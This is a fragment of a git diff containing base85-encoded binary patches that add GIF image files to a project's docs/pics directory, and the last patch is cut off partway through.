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
Ynz?4vuFacc1LHhmwtyx7Z~Om$03V7>+yDRo

literal 0
HcmV?d00001

diff --git a/docs/pics/11548743021625.gif b/docs/pics/11548743021625.gif
new file mode 100644
index 0000000000000000000000000000000000000000..408de7d22f460154d395236cbe0608a41a7ddbb2
GIT binary patch
literal 9216
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

literal 0
HcmV?d00001

diff --git a/docs/pics/11548743193273.gif b/docs/pics/11548743193273.gif
new file mode 100644
index 0000000000000000000000000000000000000000..bbb9b15ff822a270e216bb98210ed84407b87f17
GIT binary patch
literal 9216
zcmeHsXHe5$*X=Jow2)Aw27{u~RP?Wc)I>yzfCwU8K|w(UQ9(ja=uHSk=@2?dRZu!4
z^bQJAq)Q9cpeP^^Uhi}7oq6ZZ+~<C|AD=b*!<yM=ubH!F);VYP(bT@CaM=a|Rt9YY
z00aVoLLo314E`@5kw^{>4t_qq^XJcLXlUr@=;-U~8{aarxnu79$ky$-qo=!@m#3$X
zj}M7N3JeSk4h{|r3yX<~Nli`7%F4>k%_}S}dH<oZx}IK3Z>w(Zs%q`8YWq~({<)^(
zU-2(e*YT;dr}uMz*Tkom)uE~%!{yt<CA-6gyTe7hBSrrrfBF9k=GTU$*{@4WORKA^
z-@kv~+S=OwZ`j${+1=g!^S`n8FB}{ku>LI$4-fxu`TwN;kIwvmZ^&Q$f1~;Dv;V&E
z-`D=nef@WZzg+x~Lto>TkvhRZ<NO&p2nYZG@m(ks0U!a{za01<HUW?<pc5&oRYs-z
zBYCAQJIXSegVD!zQncP>wuTG-^Jt>uT~>P(PCZOi`+at2tfbLf%g*;X-SKkwyHd2v
